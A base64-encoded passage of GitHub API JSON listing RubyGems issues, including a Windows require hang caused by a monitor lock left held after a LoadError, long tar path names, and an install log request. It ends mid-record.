5LlxuXG5NYWtpbmcgLS11c2VyLWluc3RhbGwgZGVmYXVsdCBtZWFucyBnZW0gcGFja2FnZSBtYWludGFpbmVycyBvbmx5IG5lZWQgdG8gLS1uby11c2VyLWluc3RhbGwgd2hpbGUgZXZlcnlvbmUgZWxzZSBqdXN0IGdlbSBpbnN0YWxsJ3NcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM5MiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzkyL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzkyL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzOTIvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzOTIiLCJpZCI6MTE4MTM5ODMwLCJudW1iZXIiOjEzOTIsInRpdGxlIjoicmVxdWlyZSBoYW5ncyBvbiBXaW5kb3dzIGluIDIuNS4wIGJ1dCBub3QgMi40LjgiLCJ1c2VyIjp7ImxvZ2luIjoibXItc2FsdHkiLCJpZCI6NzY4MzgzNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzY4MzgzNj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXItc2FsdHkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9tci1zYWx0eSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21yLXNhbHR5L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21yLXNhbHR5L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21yLXNhbHR5L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tci1zYWx0eS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21yLXNhbHR5L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXItc2FsdHkvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXItc2FsdHkvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tci1zYWx0eS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXItc2FsdHkvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwJTIzZ2VtJTIwb3IlMjAlMjNyZXF1aXJlIiwibmFtZSI6ImNhdGVnb3J5OiAjZ2VtIG9yICNyZXF1aXJlIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTAsImNyZWF0ZWRfYXQiOiIyMDE1LTExLTIwVDIyOjI3OjE4WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTAzLTEwVDIyOjEyOjE2WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJIaSwgSSBpbnN0YWxsZWQgUnVieSAyLjEuNyBhbmQgdGhlIERldktpdCBmcm9tIGh0dHA6Ly9ydWJ5aW5zdGFsbGVyLm9yZy8gKDMyLWJpdCksIGFuZCB1cGRhdGVkIHJ1YnlnZW1zIHRvIDIuNS4wIHdpdGggJ2dlbSB1cGRhdGUgc3lzdGVtJy4gIE15IGFwcGxpY2F0aW9uIGlzIGhhbmdpbmcgZHVyaW5nIGEgJ3JlcXVpcmUnLiAgVGhpcyBkb2VzIG5vdCBoYXBwZW4gd2l0aCBSdWJ5R2VtcyAyLjQuOC5cblxuSSd2ZSBzbyBmYXIgYmVlbiB1bmFibGUgdG8gcHJvZHVjZSBhIHNpbXBsZSBjYXNlIHRvIHJlcHJvZHVjZSB0aGlzLCBidXQgZnJvbSBpbnN0cnVtZW50aW5nIEkgY2FuIHNlZSB3aGF0IGhhcHBlbnMgaXMgaXQgYmxvY2tzIGZvcmV2ZXIgb24gUlVCWUdFTVNfQUNUSVZBVElPTl9NT05JVE9SLmVudGVyLlxuXG5UaGUgcmVhc29uIHRoaXMgaGFwcGVucyBpcyB0aGlzIGNhbGwgdG8gW2ZpbmRfaW5fdW5yZXNvbHZlZF90cmVlXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi82NWFiOTgwZGJjMTNkMWI4ZTk1YjdkMWY3MjY2NDA2NzIwNzE4YzI0L2xpYi9ydWJ5Z2Vtcy9jb3JlX2V4dC9rZXJuZWxfcmVxdWlyZS5yYiNMODcpIHRocm93cyBhIExvYWRFcnJvciB3aGljaCBnZXRzIGNhdWdodCBvbiBbbGluZSAxMjJdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzY1YWI5ODBkYmMxM2QxYjhlOTViN2QxZjcyNjY0MDY3MjA3MThjMjQvbGliL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiI0wxMjIpLiAgVGhhdCBzdWJzZXF1ZW50bHkgZG9lcyBhbm90aGVyIGVudGVyIGFuZCBleGl0LCBidXQgd2UgbmV2ZXIgZXhpdGVkIGZyb20gdGhlIGVudGVyIGF0IHRoZSB0b3Agb2YgdGhlIGZ1bmN0aW9uLCBzbyB0aGUgY291bnQgaXMgc3RpbGwgMS5cblxuVGhpcyBkb2Vzbid0IGNhdXNlIGFueSBpbW1lZGlhdGUgcHJvYmxlbXMsIGJlY2F1c2UgYWx0aG91Z2ggd2Ugc3RpbGwgaG9sZCB0aGUgbG9jaywgd2UgY2FuIGVudGVyIHRoZSBtb25pdG9yIHJlY3Vyc2l2ZWx5IGZyb20gdGhlIHNhbWUgdGhyZWFkLiAgVGhlIHByb2JsZW0gaGFwcGVucyBsYXRlciBkdWUgdG8gYSBjYWxsIHRvIE11bHRpSnNvbi5sb2FkIChmcm9tIFttdWx0aV9qc29uXShodHRwczovL2dpdGh1Yi5jb20vaW50cmlkZWEvbXVsdGlfanNvbikpLCB3aGljaCBkb2VzIGEgcmVxdWlyZSBhdCBydW50aW1lLCBhbmQgaW4gbXkgY2FzZSB0aGlzIGlzIGhhcHBlbmluZyBvbiBhIGRpZmZlcmVudCB0aHJlYWQuXG5cbkhlcmUgaXMgdGhlIGJhY2t0cmFjZSBmcm9tIHRoZSBleGNlcHRpb24gKG5vdGUgdGhlIGxpbmUgbnVtYmVyIHNheXMgOTAgaW5zdGVhZCBvZiA4NyBkdWUgdG8gcHJpbnRzIEkgaW5zZXJ0ZWQgZm9yIGRlYnVnZ2luZykuICBUaGUgcGFydCBJIGNhbid0IHJlcHJvZHVjZSBpbiBhIHNpbXBsZSB0ZXN0IGNhc2UgaXMgd2hhdCBpcyBjYXVzaW5nIHRoZSBleGNlcHRpb24gaW4gdGhlIGZpcnN0IHBsYWNlLCBidXQgSSBjYW4ga2VlcCB3b3JraW5nIG9uIGl0LlxuXG5gYGBcbkNvdWxkIG5vdCBmaW5kICdwZXJtdXRhdGlvbicgKD49IDApIGFtb25nIDYyIHRvdGFsIGdlbShzKVxuQ2hlY2tlZCBpbiAnR0VNX1BBVEg9QzovVXNlcnMvc2FsdHkvLmdlbS9ydWJ5LzIuMS4wO0M6L1J1YnkyMS9saWIvcnVieS9nZW1zLzIuMS4wJyxcbiBleGVjdXRlIGBnZW0gZW52YCBmb3IgbW9yZSBpbmZvcm1hdGlvblxuW1wiQzovUnVieTIxL2xpYi9ydWJ5L3NpdGVfcnVieS8yLjEuMC9ydWJ5Z2Vtcy9kZXBlbmRlbmN5LnJiOjMxODppbiBgdG9fc3BlY3MnXCIsXG4gXCJDOi9SdWJ5MjEvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMS4wL3J1YnlnZW1zL3NwZWNpZmljYXRpb24ucmI6MjU3MjppbiBgYmxvY2sgaW4gdHJhdmVyc2UnXCIsXG4gXCJDOi9SdWJ5MjEvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMS4wL3J1YnlnZW1zL3NwZWNpZmljYXRpb24ucmI6MjU3MTppbiBgZWFjaCdcIixcbiBcIkM6L1J1YnkyMS9saWIvcnVieS9zaXRlX3J1YnkvMi4xLjAvcnVieWdlbXMvc3BlY2lmaWNhdGlvbi5yYjoyNTcxOmluIGB0cmF2ZXJzZSdcIixcbiBcIkM6L1J1YnkyMS9saWIvcnVieS9zaXRlX3J1YnkvMi4xLjAvcnVieWdlbXMvc3BlY2lmaWNhdGlvbi5yYjoxMDQ0OmluIGBibG9jayBpbiBmaW5kX2luX3VucmVzb2x2ZWRfdHJlZSdcIixcbiBcIkM6L1J1YnkyMS9saWIvcnVieS9zaXRlX3J1YnkvMi4xLjAvcnVieWdlbXMvc3BlY2lmaWNhdGlvbi5yYjoxMDQzOmluIGByZXZlcnNlX2VhY2gnXCIsXG4gXCJDOi9SdWJ5MjEvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMS4wL3J1YnlnZW1zL3NwZWNpZmljYXRpb24ucmI6MTA0MzppbiBgZmluZF9pbl91bnJlc29sdmVkX3RyZWUnXCIsXG4gXCJDOi9SdWJ5MjEvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMS4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjkwOmluIGByZXF1aXJlJ1wiLFxuIFwiQzovUnVieTIxL2xpYi9ydWJ5L2dlbXMvMi4xLjAvZ2Vtcy9mbHVlbnRkLTAuMTQuMC5wcmUuMS9saWIvZmx1ZW50L2NvbW1hbmQvZmx1ZW50ZC5yYjoxNzppbiBgPHRvcCAocmVxdWlyZWQpPidcIixcbiBcIkM6L1J1YnkyMS9saWIvcnVieS9zaXRlX3J1YnkvMi4xLjAvcnVieWdlbXMvY29yZV9leHQva2VybmVsX3JlcXVpcmUucmI6NzI6aW4gYHJlcXVpcmUnXCIsXG4gXCJDOi9SdWJ5MjEvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMS4wL3J1YnlnZW1zL2NvcmVfZXh0L2tlcm5lbF9yZXF1aXJlLnJiOjcyOmluIGByZXF1aXJlJ1wiLFxuIFwiQzovUnVieTIxL2xpYi9ydWJ5L2dlbXMvMi4xLjAvZ2Vtcy9mbHVlbnRkLTAuMTQuMC5wcmUuMS9iaW4vZmx1ZW50ZDo2OmluIGA8dG9wIChyZXF1aXJlZCk+J1wiLFxuIFwiQzovUnVieTIxL2Jpbi9mbHVlbnRkOjIzOmluIGBsb2FkJ1wiLFxuIFwiQzovUnVieTIxL2Jpbi9mbHVlbnRkOjIzOmluIGA8bWFpbj4nXCJdXG5gYGBcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM3NiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzc2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzc2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNzYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNzYiLCJpZCI6MTE1NjQ1MTI2LCJudW1iZXIiOjEzNzYsInRpdGxlIjoiU3VwcG9ydCBsb25nIGZpbGUvcGF0aCBuYW1lcyBmb3IgVGFyV3JpdGVyL1RhclJlYWRlciIsInVzZXIiOnsibG9naW4iOiJnaG9zdCIsImlkIjoxMDEzNywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTAxMzc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dob3N0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vZ2hvc3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9naG9zdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9naG9zdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9naG9zdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2hvc3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9naG9zdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dob3N0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dob3N0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2hvc3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dob3N0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTIsImNyZWF0ZWRfYXQiOiIyMDE1LTExLTA3VDA3OjQ3OjA4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTExVDIyOjQxOjUwWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJDdXJyZW50bHkgW2BUYXJXcml0ZXJgXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvbGliL3J1YnlnZW1zL3BhY2thZ2UvdGFyX3dyaXRlci5yYiNMMzExKSBsaW1pdHMgZmlsZS9wYXRoIG5hbWVzIHRvIDI1NiAob3Igc28pIGNoYXJhY3RlcnMuXG5cbkhvd2V2ZXIsIGZvciBleGFtcGxlIHRoaXMgW3Rlc3QgZmlsZV0oaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy92Zm9kY3FhMjZuZXF6OW0vdGVzdC50YXI/ZGw9MCkgY2FuIGNvbnRhaW4gZmlsZXMgd2l0aCBwYXRoIG5hbWVzIGV4Y2VlZGluZyAyNTYgY2hhcmFjdGVycy4gVGhhdCBmaWxlIHdhcyBtYWRlIGJ5IGBHTlUgdGFyIDEuMjhgLlxuXG5Xb3VsZCB5b3UgcGxlYXNlIHN1cHBvcnQgbG9uZyBmaWxlIG5hbWUgKHBhdGggbmFtZSkgZm9yIGBUYXJXcml0ZXJgIChhbmQgcG9zc2libHkgYFRhclJlYWRlcmApP1xuXG5UaGFua3MsXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNzQiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM3NC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM3NC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzc0L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzc0IiwiaWQiOjExNTU2Nzk0OSwibnVtYmVyIjoxMzc0LCJ0aXRsZSI6IkNhbiBhZGQgYSBsb2cgZmlsZSwgcmVjb3JkIHNvbWUgdGhpbmcgb24gZ2VtIHJ1bm5pbmc/IiwidXNlciI6eyJsb2dpbiI6IndpbmR3aW55IiwiaWQiOjQ1OTk1LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS80NTk5NT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2luZHdpbnkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS93aW5kd2lueSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbmR3aW55L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbmR3aW55L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbmR3aW55L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aW5kd2lueS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dpbmR3aW55L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2luZHdpbnkvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2luZHdpbnkvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93aW5kd2lueS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2luZHdpbnkvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIyMywidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwb3RoZXIiLCJuYW1lIjoiY2F0ZWdvcnk6IG90aGVyIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6NDQzMzM0MTgwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jb250cmlidXRpb246JTIwdW5jbGFpbWVkIiwibmFtZSI6ImNvbnRyaWJ1dGlvbjogdW5jbGFpbWVkIiwiY29sb3IiOiJEREREREQiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE1LTExLTA2VDE5OjEwOjM2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAzLTExVDE4OjE1OjIzWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiQ2FuIHdlIGFkZCBhIGxvZyBmaWxlLCB3aGVuIGdlbSBjb21tYW5kIHJ1bm5pbmcsICByZWNvcmQgaW5zdGFsbC91bmluc3RhbGwvdXBkYXRlIGdlbSdzIG5hbWUsIHRpbWUsIG9wZXJhdGlvbiwgYW5kIGluc3RhbGwgcmVhc29uKG1hbnVhbCBvciBiZWNhdXNlIGRlcGVuZGVuY3kgKSA/XG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzEzNTgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM1OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTM1OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzU4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xMzU4IiwiaWQiOjExMTQwODMxNCwibnVtYmVyIjoxMzU4LCJ0aXRsZSI6IlwiZ2VtXCIgY2FsbHMgc2xvdyBzdWJzZXF1ZW50IHJlcXVpcmVzIHRvIHN0ZGxpYiIsInVzZXIiOnsibG9naW4iOiJIb25leXJ5ZGVyQ2h1Y2siLCJpZCI6MjE1NzA3LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTU3MDc/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0hvbmV5cnlkZXJDaHVjayIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL0hvbmV5cnlkZXJDaHVjayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0hvbmV5cnlkZXJDaHVjay9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvSG9uZXlyeWRlckNodWNrL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9Ib25leXJ5ZGVyQ2h1Y2svcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMxOTU0MTYzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvcGVyZm9ybWFuY2UiLCJuYW1lIjoicGVyZm9ybWFuY2UiLCJjb2xvciI6ImRkMDBkZCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bH